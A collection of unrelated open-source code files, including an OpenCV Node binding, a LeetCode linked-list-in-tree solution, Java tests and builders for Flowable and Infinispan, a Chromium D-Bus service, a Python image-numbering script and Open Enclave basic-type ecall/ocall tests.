4,653 | #include "opencv_modules.h"
#ifdef HAVE_OPENCV_FEATURES2D
#include "KAZEDetector.h"
Nan::Persistent<v8::FunctionTemplate> KAZEDetector::constructor;
NAN_MODULE_INIT(KAZEDetector::Init) {
v8::Local<v8::FunctionTemplate> ctor = Nan::New<v8::FunctionTemplate>(KAZEDetector::New);
v8::Local<v8::ObjectTemplate> instanceTemplate = ctor->InstanceTemplate();
FeatureDetector::Init(ctor);
constructor.Reset(ctor);
ctor->SetClassName(Nan::New("KAZEDetector").ToLocalChecked());
instanceTemplate->SetInternalFieldCount(1);
Nan::SetAccessor(instanceTemplate, Nan::New("extended").ToLocalChecked(), extended_getter);
Nan::SetAccessor(instanceTemplate, Nan::New("upright").ToLocalChecked(), upright_getter);
Nan::SetAccessor(instanceTemplate, Nan::New("threshold").ToLocalChecked(), threshold_getter);
Nan::SetAccessor(instanceTemplate, Nan::New("nOctaves").ToLocalChecked(), nOctaves_getter);
Nan::SetAccessor(instanceTemplate, Nan::New("nOctaveLayers").ToLocalChecked(), nOctaveLayers_getter);
Nan::SetAccessor(instanceTemplate, Nan::New("diffusivity").ToLocalChecked(), diffusivity_getter);
Nan::Set(target, Nan::New("KAZEDetector").ToLocalChecked(), FF::getFunction(ctor));
#if CV_VERSION_GREATER_EQUAL(4, 0, 0)
DiffusivityType::init(target);
#endif
};
NAN_METHOD(KAZEDetector::New) {
NewBinding().construct(info);
}
#endif | 479 |
3,269 | <reponame>Sourav692/FAANG-Interview-Preparation
# Time: O(n + l)
# Space: O(h + l)
# Definition for singly-linked list.
class ListNode(object):
def __init__(self, x):
self.val = x
self.next = None
# Definition for a binary tree node.
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
# kmp solution
class Solution(object):
def isSubPath(self, head, root):
"""
:type head: ListNode
:type root: TreeNode
:rtype: bool
"""
def getPrefix(head):
pattern, prefix = [head.val], [-1]
j = -1
node = head.next
while node:
while j+1 and pattern[j+1] != node.val:
j = prefix[j]
if pattern[j+1] == node.val:
j += 1
pattern.append(node.val)
prefix.append(j)
node = node.next
return pattern, prefix
def dfs(pattern, prefix, root, j):
if not root:
return False
while j+1 and pattern[j+1] != root.val:
j = prefix[j]
if pattern[j+1] == root.val:
j += 1
if j+1 == len(pattern):
return True
return dfs(pattern, prefix, root.left, j) or \
dfs(pattern, prefix, root.right, j)
if not head:
return True
pattern, prefix = getPrefix(head)
return dfs(pattern, prefix, root, -1)
# Time: O(n * min(h, l))
# Space: O(h)
# dfs solution
class Solution2(object):
def isSubPath(self, head, root):
"""
:type head: ListNode
:type root: TreeNode
:rtype: bool
"""
def dfs(head, root):
if not head:
return True
if not root:
return False
return root.val == head.val and \
(dfs(head.next, root.left) or
dfs(head.next, root.right))
if not head:
return True
if not root:
return False
return dfs(head, root) or \
self.isSubPath(head, root.left) or \
self.isSubPath(head, root.right)
| 1,280 |
5,250 | /* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.flowable.eventregistry.test;
import static org.assertj.core.api.Assertions.assertThat;
import java.util.LinkedHashMap;
import java.util.Map;
import org.flowable.eventregistry.api.CorrelationKeyGenerator;
import org.flowable.eventregistry.impl.DefaultCorrelationKeyGenerator;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
/**
* @author <NAME>
*/
class DefaultCorrelationKeyGeneratorTest {
protected CorrelationKeyGenerator<Map<String, Object>> correlationKeyGenerator;
@BeforeEach
void setUp() {
correlationKeyGenerator = new DefaultCorrelationKeyGenerator();
}
@Test
void generateCorrelationKeyWithNullNullParameter() {
Map<String, Object> data1 = new LinkedHashMap<>();
data1.put("someKey", "value");
data1.put("noValue", null);
Map<String, Object> data2 = new LinkedHashMap<>();
data2.put("someKey", "value");
data2.put("noValue", "");
String key1 = correlationKeyGenerator.generateKey(data1);
String key2 = correlationKeyGenerator.generateKey(data2);
assertThat(key1).isEqualTo(key2);
}
@Test
void generateCorrelationKeyOrdering() {
Map<String, Object> data1 = new LinkedHashMap<>();
data1.put("someKey", "value");
data1.put("otherKey", "other value");
Map<String, Object> data2 = new LinkedHashMap<>();
data2.put("otherKey", "other value");
data2.put("someKey", "value");
String key1 = correlationKeyGenerator.generateKey(data1);
String key2 = correlationKeyGenerator.generateKey(data2);
assertThat(key1).isEqualTo(key2);
}
}
| 795 |
713 | <reponame>pferraro/infinispan<filename>server/runtime/src/main/java/org/infinispan/server/configuration/security/LdapAttributeConfigurationBuilder.java
package org.infinispan.server.configuration.security;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.EXTRACT_RDN;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.FILTER;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.FILTER_DN;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.FROM;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.REFERENCE;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.ROLE_RECURSION;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.ROLE_RECURSION_NAME;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.SEARCH_RECURSIVE;
import static org.infinispan.server.configuration.security.LdapAttributeConfiguration.TO;
import org.infinispan.commons.configuration.Builder;
import org.infinispan.commons.configuration.attributes.AttributeSet;
/**
* @since 10.0
*/
public class LdapAttributeConfigurationBuilder implements Builder<LdapAttributeConfiguration> {
private final AttributeSet attributes;
LdapAttributeConfigurationBuilder() {
this.attributes = LdapAttributeConfiguration.attributeDefinitionSet();
}
public LdapAttributeConfigurationBuilder filter(String filter) {
attributes.attribute(FILTER).set(filter);
return this;
}
public LdapAttributeConfigurationBuilder reference(String reference) {
attributes.attribute(REFERENCE).set(reference);
return this;
}
public LdapAttributeConfigurationBuilder filterBaseDn(String filterBaseDn) {
attributes.attribute(FILTER_DN).set(filterBaseDn);
return this;
}
public LdapAttributeConfigurationBuilder from(String from) {
attributes.attribute(FROM).set(from);
return this;
}
public LdapAttributeConfigurationBuilder to(String to) {
attributes.attribute(TO).set(to);
return this;
}
public LdapAttributeConfigurationBuilder searchRecursive(boolean searchRecursive) {
attributes.attribute(SEARCH_RECURSIVE).set(searchRecursive);
return this;
}
public LdapAttributeConfigurationBuilder roleRecursion(int roleRecursion) {
attributes.attribute(ROLE_RECURSION).set(roleRecursion);
return this;
}
public LdapAttributeConfigurationBuilder roleRecursionName(String roleRecursionName) {
attributes.attribute(ROLE_RECURSION_NAME).set(roleRecursionName);
return this;
}
public LdapAttributeConfigurationBuilder extractRdn(String rdn) {
attributes.attribute(EXTRACT_RDN).set(rdn);
return this;
}
@Override
public LdapAttributeConfiguration create() {
return new LdapAttributeConfiguration(attributes.protect());
}
@Override
public LdapAttributeConfigurationBuilder read(LdapAttributeConfiguration template) {
this.attributes.read(template.attributes());
return this;
}
}
| 996 |
2,151 | // Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chromeos/dbus/services/virtual_file_request_service_provider.h"
#include <utility>
#include "base/bind.h"
#include "dbus/message.h"
#include "third_party/cros_system_api/dbus/service_constants.h"
namespace chromeos {
VirtualFileRequestServiceProvider::VirtualFileRequestServiceProvider(
std::unique_ptr<Delegate> delegate)
: delegate_(std::move(delegate)), weak_ptr_factory_(this) {}
VirtualFileRequestServiceProvider::~VirtualFileRequestServiceProvider() =
default;
void VirtualFileRequestServiceProvider::Start(
scoped_refptr<dbus::ExportedObject> exported_object) {
exported_object->ExportMethod(
kVirtualFileRequestServiceInterface,
kVirtualFileRequestServiceHandleReadRequestMethod,
base::Bind(&VirtualFileRequestServiceProvider::HandleReadRequest,
weak_ptr_factory_.GetWeakPtr()),
base::Bind([](const std::string& interface_name,
const std::string& method_name, bool success) {
LOG_IF(ERROR, !success)
<< "Failed to export " << interface_name << "." << method_name;
}));
exported_object->ExportMethod(
kVirtualFileRequestServiceInterface,
kVirtualFileRequestServiceHandleIdReleasedMethod,
base::Bind(&VirtualFileRequestServiceProvider::HandleIdReleased,
weak_ptr_factory_.GetWeakPtr()),
base::Bind([](const std::string& interface_name,
const std::string& method_name, bool success) {
LOG_IF(ERROR, !success)
<< "Failed to export " << interface_name << "." << method_name;
}));
}
void VirtualFileRequestServiceProvider::HandleReadRequest(
dbus::MethodCall* method_call,
dbus::ExportedObject::ResponseSender response_sender) {
std::string id;
int64_t offset = 0;
int64_t size = 0;
base::ScopedFD pipe_write_end;
dbus::MessageReader reader(method_call);
if (!reader.PopString(&id) || !reader.PopInt64(&offset) ||
!reader.PopInt64(&size) || !reader.PopFileDescriptor(&pipe_write_end)) {
response_sender.Run(dbus::ErrorResponse::FromMethodCall(
method_call, DBUS_ERROR_INVALID_ARGS, std::string()));
return;
}
if (!delegate_->HandleReadRequest(id, offset, size,
std::move(pipe_write_end))) {
response_sender.Run(dbus::ErrorResponse::FromMethodCall(
method_call, DBUS_ERROR_FAILED, std::string()));
return;
}
response_sender.Run(dbus::Response::FromMethodCall(method_call));
}
void VirtualFileRequestServiceProvider::HandleIdReleased(
dbus::MethodCall* method_call,
dbus::ExportedObject::ResponseSender response_sender) {
std::string id;
dbus::MessageReader reader(method_call);
if (!reader.PopString(&id)) {
response_sender.Run(dbus::ErrorResponse::FromMethodCall(
method_call, DBUS_ERROR_INVALID_ARGS, std::string()));
return;
}
if (!delegate_->HandleIdReleased(id)) {
response_sender.Run(dbus::ErrorResponse::FromMethodCall(
method_call, DBUS_ERROR_FAILED, std::string()));
return;
}
response_sender.Run(dbus::Response::FromMethodCall(method_call));
}
} // namespace chromeos
| 1,230 |
690 | package com.artemis.link;
import com.artemis.utils.reflect.ClassReflection;
import com.artemis.utils.reflect.ReflectionException;
final class MutatorUtil {
private MutatorUtil() {}
static <T> T getGeneratedMutator(LinkSite linkSite) {
Class[] possibleMutators = linkSite.field.getDeclaringClass().getDeclaredClasses();
String mutatorName = "Mutator_" + linkSite.field.getName();
for (int i = 0, s = possibleMutators.length; s > i; i++) {
if (mutatorName.equals(possibleMutators[i].getSimpleName())) {
try {
return (T) ClassReflection.newInstance(possibleMutators[i]);
} catch (ReflectionException e) {
throw new RuntimeException(e);
}
}
}
return null;
}
}
| 261 |
533 | <reponame>baajur/Anakin
/* Copyright (c) 2018 Anakin Authors, Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef ANAKIN_SABER_FUNCS_IMPL_X86_SABER_PIXEL_SHUFFLE_H
#define ANAKIN_SABER_FUNCS_IMPL_X86_SABER_PIXEL_SHUFFLE_H
#include "saber/funcs/impl/impl_pixel_shuffle.h"
namespace anakin{
namespace saber{
template <DataType OpDtype>
class SaberPixelShuffle<X86, OpDtype>:\
public ImplBase<
X86,
OpDtype,
PixelShuffleParam<X86>> {
public:
SaberPixelShuffle() {}
~SaberPixelShuffle() {}
virtual SaberStatus init(const std::vector<Tensor<X86>*>& inputs,
std::vector<Tensor<X86>*>& outputs,
PixelShuffleParam<X86> ¶m,
Context<X86> &ctx){
return create(inputs, outputs, param, ctx);
}
virtual SaberStatus create(const std::vector<Tensor<X86>*>& inputs,
std::vector<Tensor<X86>*>& outputs,
PixelShuffleParam<X86> ¶m,
Context<X86> &ctx){
this -> _ctx = &ctx;
_num_axes = inputs[0]->valid_shape().size() + 2;
Shape in_sh = inputs[0]->valid_shape();
int new_c = in_sh.channel()/(param.rw * param.rh);
Shape in_new_sh;
Shape out_new_sh;
in_new_sh.push_back(in_sh.num());
out_new_sh.push_back(in_sh.num());
if (param.channel_first){
in_new_sh.push_back(new_c);
in_new_sh.push_back(param.rh);
in_new_sh.push_back(param.rw);
in_new_sh.push_back(in_sh.height());
in_new_sh.push_back(in_sh.width());
_order = std::vector<int>({0, 1, 4, 2, 5, 3});
out_new_sh.push_back(new_c);
out_new_sh.push_back(in_sh.height());
out_new_sh.push_back(param.rh);
out_new_sh.push_back(in_sh.width());
out_new_sh.push_back(param.rw);
} else {
in_new_sh.push_back(in_sh.height());
in_new_sh.push_back(in_sh.width());
in_new_sh.push_back(param.rh);
in_new_sh.push_back(param.rw);
in_new_sh.push_back(new_c);
_order = std::vector<int>({0, 1, 3, 2, 4, 5});
out_new_sh.push_back(in_sh.height());
out_new_sh.push_back(param.rh);
out_new_sh.push_back(in_sh.width());
out_new_sh.push_back(param.rw);
out_new_sh.push_back(new_c);
}
_in_steps = in_new_sh.get_stride();
_out_steps = out_new_sh.get_stride();
return SaberSuccess;
}
virtual SaberStatus dispatch(const std::vector<Tensor<X86>*>& inputs,
std::vector<Tensor<X86>*>& outputs,
PixelShuffleParam<X86> ¶m);
private:
int _num_axes;
std::vector<int> _order;
Shape _in_steps;
Shape _out_steps;
Shape _out_new_sh;
};
} //namespace saber
} //namespace anakin
#endif //ANAKIN_SABER_FUNCS_IMPL_X86_SABER_PixelShuffle_H
| 1,703 |
713 | package org.infinispan.remoting.transport.jgroups;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;
import org.jgroups.Address;
import org.jgroups.util.ExtendedUUID;
import org.jgroups.util.NameCache;
/**
* Cache JGroupsAddress instances
*
* @author <NAME>
* @since 7.0
*/
public class JGroupsAddressCache {
private static final ConcurrentMap<Address, JGroupsAddress> addressCache =
new ConcurrentHashMap<>();
public static org.infinispan.remoting.transport.Address fromJGroupsAddress(Address jgroupsAddress) {
// New entries are rarely added added after startup, but computeIfAbsent synchronizes every time
JGroupsAddress ispnAddress = addressCache.get(jgroupsAddress);
if (ispnAddress != null) {
return ispnAddress;
}
return addressCache.computeIfAbsent(jgroupsAddress, uuid -> {
if (jgroupsAddress instanceof ExtendedUUID) {
return new JGroupsTopologyAwareAddress((ExtendedUUID) jgroupsAddress);
} else {
return new JGroupsAddress(jgroupsAddress);
}
});
}
static void pruneAddressCache() {
// Prune the JGroups addresses & LocalUUIDs no longer in the UUID cache from the our address cache
addressCache.forEach((address, ignore) -> {
if (NameCache.get(address) == null) {
addressCache.remove(address);
}
});
}
}
| 527 |
7,113 | <reponame>qixiaobo/otter
/*
* Copyright (C) 2010-2101 Alibaba Group Holding Limited.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.alibaba.otter.manager.biz.statistics.delay;
import java.util.Date;
import java.util.List;
import java.util.Map;
import com.alibaba.otter.manager.biz.statistics.delay.param.DelayStatInfo;
import com.alibaba.otter.manager.biz.statistics.delay.param.TopDelayStat;
import com.alibaba.otter.shared.common.model.statistics.delay.DelayStat;
/**
* @author jianghang 2011-9-8 下午12:37:14
*/
public interface DelayStatService {
public void createDelayStat(DelayStat stat);
public DelayStat findRealtimeDelayStat(Long pipelineId);
public Map<Long, DelayStatInfo> listTimelineDelayStat(Long pipelineId, Date start, Date end);
public List<TopDelayStat> listTopDelayStat(String searchKey, int topN);
}
| 425 |
1,118 | /**
* The MIT License
*
* Copyright for portions of unirest-java are held by Kong Inc (c) 2013.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package kong.unirest;
/**
* Each configuration of Unirest has an interceptor.
* This has three stages:
* * onRequest allows you to modify of view the request before it it sent
* * onResponse allows you to view the response. This includes both successful and failed but valid responses
* * onFail is called if a total connection or network failure occurred.
*/
public interface Interceptor {
/**
* Called just before a request. This can be used to view or modify the request.
* this could be used for things like
* - Logging the request
* - Injecting tracer headers
* - Record metrics
* The default implementation does nothing at all
* @param request the request
* @param config the current configuration
*/
default void onRequest(HttpRequest<?> request, Config config) {
}
/**
* Called just after the request. This can be used to view the response,
* Perhaps for logging purposes or just because you're curious.
* @param response the response
* @param request a summary of the request
* @param config the current configuration
*/
default void onResponse(HttpResponse<?> response, HttpRequestSummary request, Config config) {
}
/**
* Called in the case of a total failure.
* This would be where Unirest was completely unable to make a request at all for reasons like:
* - DNS errors
* - Connection failure
* - Connection or Socket timeout
* - SSL/TLS errors
*
* The default implimentation simply wraps the exception in a UnirestException and throws it.
* It is possible to return a different response object from the original if you really
* didn't want to every throw exceptions. Keep in mind that this is a lie
*
* Nevertheless, you could return something like a kong.unirest.FailedResponse
*
* @param e the exception
* @param request the original request
* @param config the current config
* @return a alternative response.
*/
default HttpResponse<?> onFail(Exception e, HttpRequestSummary request, Config config) throws UnirestException {
throw new UnirestException(e);
}
}
| 1,017 |
743 | {"actions":[],"body":[{"items":[{"choices":[{"title":"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. End.","value":"0"},{"title":"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. End.","value":"1"}],"id":"0","style":"Expanded","type":"Input.ChoiceSet","wrap":true}],"style":"Emphasis","type":"Container"}],"type":"AdaptiveCard","version":"1.2"} | 229 |
617 | <filename>test/comprehensive/host/testbasic.cpp
// Copyright (c) Open Enclave SDK contributors.
// Licensed under the MIT License.
#include "../edltestutils.h"
#include <openenclave/host.h>
#include <openenclave/internal/tests.h>
#include "all_u.h"
void test_basic_edl_ecalls(oe_enclave_t* enclave)
{
OE_TEST(
ecall_basic_types(
enclave,
'?',
3,
4,
3.1415f,
1.0 / 3.0,
8,
9,
10,
11,
12,
13,
14,
15,
16,
17,
18,
255,
19,
20,
21) == OE_OK);
{
char ret = 0;
OE_TEST(ecall_ret_char(enclave, &ret) == OE_OK);
OE_TEST(ret == '?');
}
{
short ret = 0;
OE_TEST(ecall_ret_short(enclave, &ret) == OE_OK);
OE_TEST(ret == 444);
}
{
int ret = 0;
OE_TEST(ecall_ret_int(enclave, &ret) == OE_OK);
OE_TEST(ret == 555);
}
{
float ret = 0;
OE_TEST(ecall_ret_float(enclave, &ret) == OE_OK);
OE_TEST(ret == 0.333f);
}
{
double ret = 0;
OE_TEST(ecall_ret_double(enclave, &ret) == OE_OK);
OE_TEST(ret == 0.444);
}
{
size_t ret = 0;
OE_TEST(ecall_ret_size_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 888);
}
{
unsigned ret = 0;
OE_TEST(ecall_ret_unsigned(enclave, &ret) == OE_OK);
OE_TEST(ret == 999);
}
{
int8_t ret = 0;
OE_TEST(ecall_ret_int8_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 101);
}
{
int16_t ret = 0;
OE_TEST(ecall_ret_int16_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 1111);
}
{
int32_t ret = 0;
OE_TEST(ecall_ret_int32_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 121212);
}
{
int64_t ret = 0;
OE_TEST(ecall_ret_int64_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 131313);
}
{
uint8_t ret = 0;
OE_TEST(ecall_ret_uint8_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 141);
}
{
uint16_t ret = 0;
OE_TEST(ecall_ret_uint16_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 1515);
}
{
uint32_t ret = 0;
OE_TEST(ecall_ret_uint32_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 161616);
}
{
uint64_t ret = 0;
OE_TEST(ecall_ret_uint64_t(enclave, &ret) == OE_OK);
OE_TEST(ret == 171717);
}
{
long long ret = 0;
OE_TEST(ecall_ret_long_long(enclave, &ret) == OE_OK);
OE_TEST(ret == 181818);
}
{
unsigned char ret = 0;
OE_TEST(ecall_ret_unsigned_char(enclave, &ret) == OE_OK);
OE_TEST(ret == 255);
}
{
unsigned short ret = 0;
OE_TEST(ecall_ret_unsigned_short(enclave, &ret) == OE_OK);
OE_TEST(ret == 191);
}
{
unsigned int ret = 0;
OE_TEST(ecall_ret_unsigned_int(enclave, &ret) == OE_OK);
OE_TEST(ret == 202);
}
{
unsigned long long ret = 0;
OE_TEST(ecall_ret_unsigned_long_long(enclave, &ret) == OE_OK);
OE_TEST(ret == 2222222);
}
{
OE_TEST(ecall_ret_void(enclave) == OE_OK);
}
if (g_enabled[TYPE_WCHAR_T] && g_enabled[TYPE_LONG] &&
g_enabled[TYPE_UNSIGNED_LONG] && g_enabled[TYPE_LONG_DOUBLE])
{
OE_TEST(
ecall_basic_non_portable_types(
enclave,
wchar_t_value,
long_value,
ulong_value,
long_double_value) == OE_OK);
}
if (g_enabled[TYPE_WCHAR_T])
{
wchar_t ret = 0;
OE_TEST(ecall_ret_wchar_t(enclave, &ret) == OE_OK);
OE_TEST(ret == wchar_t_value);
}
if (g_enabled[TYPE_LONG])
{
long ret = 0;
OE_TEST(ecall_ret_long(enclave, &ret) == OE_OK);
OE_TEST(ret == 777);
}
if (g_enabled[TYPE_UNSIGNED_LONG])
{
unsigned long ret = 0;
OE_TEST(ecall_ret_unsigned_long(enclave, &ret) == OE_OK);
OE_TEST(ret == 212121);
}
if (g_enabled[TYPE_LONG_DOUBLE])
{
long double ret = 0;
OE_TEST(ecall_ret_long_double(enclave, &ret) == OE_OK);
OE_TEST(ret == 0.191919);
}
printf("=== test_basic_edl_ecalls passed\n");
}
void ocall_basic_types(
char arg1,
short arg2,
int arg3,
float arg4,
double arg5,
size_t arg6,
unsigned arg7,
int8_t arg8,
int16_t arg9,
int32_t arg10,
int64_t arg11,
uint8_t arg12,
uint16_t arg13,
uint32_t arg14,
uint64_t arg15,
long long arg16,
unsigned char arg17,
unsigned short arg18,
unsigned int arg19,
unsigned long long arg20)
{
ocall_basic_types_args_t args;
// Assert types of fields of the marshaling struct.
check_type<char>(args.arg1);
check_type<short>(args.arg2);
check_type<int>(args.arg3);
check_type<float>(args.arg4);
check_type<double>(args.arg5);
check_type<size_t>(args.arg6);
check_type<unsigned int>(args.arg7);
check_type<int8_t>(args.arg8);
check_type<int16_t>(args.arg9);
check_type<int32_t>(args.arg10);
check_type<int64_t>(args.arg11);
check_type<uint8_t>(args.arg12);
check_type<uint16_t>(args.arg13);
check_type<uint32_t>(args.arg14);
check_type<uint64_t>(args.arg15);
check_type<long long>(args.arg16);
check_type<unsigned char>(args.arg17);
check_type<unsigned short>(args.arg18);
check_type<unsigned int>(args.arg19);
check_type<unsigned long long>(args.arg20);
OE_TEST(arg1 == '?');
OE_TEST(arg2 == 3);
OE_TEST(arg3 == 4);
OE_TEST(arg4 == 3.1415f);
OE_TEST(arg5 == 1.0 / 3.0);
OE_TEST(arg6 == 8);
OE_TEST(arg7 == 9);
OE_TEST(arg8 == 10);
OE_TEST(arg9 == 11);
OE_TEST(arg10 == 12);
OE_TEST(arg11 == 13);
OE_TEST(arg12 == 14);
OE_TEST(arg13 == 15);
OE_TEST(arg14 == 16);
OE_TEST(arg15 == 17);
OE_TEST(arg16 == 18);
OE_TEST(arg17 == 255);
OE_TEST(arg18 == 19);
OE_TEST(arg19 == 20);
OE_TEST(arg20 == 21);
}
void ocall_basic_non_portable_types(
wchar_t arg1,
long arg2,
unsigned long arg3,
long double arg4)
{
ocall_basic_non_portable_types_args_t args;
// Assert types of fields of the marshaling struct.
check_type<wchar_t>(args.arg1);
check_type<long>(args.arg2);
check_type<unsigned long>(args.arg3);
check_type<long double>(args.arg4);
OE_TEST(arg1 == wchar_t_value);
OE_TEST(arg2 == long_value);
OE_TEST(arg3 == ulong_value);
OE_TEST(arg4 == long_double_value);
}
uint64_t get_host_sizeof(type_enum_t t)
{
switch (t)
{
case TYPE_WCHAR_T:
return sizeof(wchar_t);
case TYPE_LONG:
return sizeof(long);
case TYPE_UNSIGNED_LONG:
return sizeof(unsigned long);
case TYPE_LONG_DOUBLE:
return sizeof(long double);
default:
return 0;
}
}
char ocall_ret_char()
{
check_return_type<ocall_ret_char_args_t, char>();
return '?';
}
wchar_t ocall_ret_wchar_t()
{
check_return_type<ocall_ret_wchar_t_args_t, wchar_t>();
return wchar_t_value;
}
short ocall_ret_short()
{
check_return_type<ocall_ret_short_args_t, short>();
return 444;
}
int ocall_ret_int()
{
check_return_type<ocall_ret_int_args_t, int>();
return 555;
}
float ocall_ret_float()
{
check_return_type<ocall_ret_float_args_t, float>();
return .333f;
}
double ocall_ret_double()
{
check_return_type<ocall_ret_int_args_t, int>();
return .444;
}
long ocall_ret_long()
{
check_return_type<ocall_ret_int_args_t, int>();
return 777;
}
size_t ocall_ret_size_t()
{
check_return_type<ocall_ret_size_t_args_t, size_t>();
return 888;
}
unsigned ocall_ret_unsigned()
{
check_return_type<ocall_ret_unsigned_args_t, unsigned>();
return 999;
}
int8_t ocall_ret_int8_t()
{
check_return_type<ocall_ret_int8_t_args_t, int8_t>();
return 101;
}
int16_t ocall_ret_int16_t()
{
check_return_type<ocall_ret_int16_t_args_t, int16_t>();
return 1111;
}
int32_t ocall_ret_int32_t()
{
check_return_type<ocall_ret_int32_t_args_t, int32_t>();
return 121212;
}
int64_t ocall_ret_int64_t()
{
check_return_type<ocall_ret_int64_t_args_t, int64_t>();
return 131313;
}
uint8_t ocall_ret_uint8_t()
{
check_return_type<ocall_ret_uint8_t_args_t, uint8_t>();
return 141;
}
uint16_t ocall_ret_uint16_t()
{
check_return_type<ocall_ret_uint16_t_args_t, uint16_t>();
return 1515;
}
uint32_t ocall_ret_uint32_t()
{
check_return_type<ocall_ret_uint32_t_args_t, uint32_t>();
return 161616;
}
uint64_t ocall_ret_uint64_t()
{
check_return_type<ocall_ret_uint64_t_args_t, uint64_t>();
return 171717;
}
long long ocall_ret_long_long()
{
check_return_type<ocall_ret_long_long_args_t, long long>();
return 181818;
}
unsigned char ocall_ret_unsigned_char()
{
check_return_type<ocall_ret_unsigned_char_args_t, unsigned char>();
return 255;
}
unsigned short ocall_ret_unsigned_short()
{
check_return_type<ocall_ret_unsigned_short_args_t, unsigned short>();
return 191;
}
unsigned int ocall_ret_unsigned_int()
{
check_return_type<ocall_ret_unsigned_int_args_t, unsigned int>();
return 202;
}
unsigned long ocall_ret_unsigned_long()
{
check_return_type<ocall_ret_unsigned_long_args_t, unsigned long>();
return 212121;
}
long double ocall_ret_long_double()
{
check_return_type<ocall_ret_long_double_args_t, long double>();
return 0.191919;
}
unsigned long long ocall_ret_unsigned_long_long()
{
check_return_type<
ocall_ret_unsigned_long_long_args_t,
unsigned long long>();
return 2222222;
}
void ocall_ret_void()
{
}
| 5,313 |
837 | package me.saket.dank.ui.preferences.events;
import me.saket.dank.ui.preferences.PreferenceButtonClickHandler;
public interface UserPreferenceClickListener {
void onClick(PreferenceButtonClickHandler clickHandler, UserPreferenceButtonClickEvent event);
}
| 77 |
1,357 | //
// Copyright (c) 2008-present, Meitu, Inc.
// All rights reserved.
//
// This source code is licensed under the license found in the LICENSE file in
// the root directory of this source tree.
//
// Created on: 20/08/2018
// Created by: Huni
//
#import <UIKit/UIKit.h>
NS_ASSUME_NONNULL_BEGIN
extern NSString *const kMTHawkeyeWebTableViewCellIdentifier;
@interface MTHWebTableViewCell : UITableViewCell
- (void)webViewLoadString:(NSString *)string;
@end
NS_ASSUME_NONNULL_END
| 167 |
3,976 | from PIL import Image, ImageDraw, ImageFont
def add_num_to_img(image_path, sign="42"):
im = Image.open(image_path)
width, height = im.size
draw = ImageDraw.Draw(im)
font = ImageFont.truetype("arial.ttf", min(width//6, height//6))
draw.text((width*0.75, height*0.075), sign, font=font, fill=(255,33,33, 255))
left, right = image_path.rsplit(".", 1)
new_image_path = left + "_" + sign + "." + right
im.save(new_image_path)
if __name__ == '__main__':
# for test
add_num_to_img("./sample.jpg")
print "Finished."
| 235 |
348 | <reponame>chamberone/Leaflet.PixiOverlay
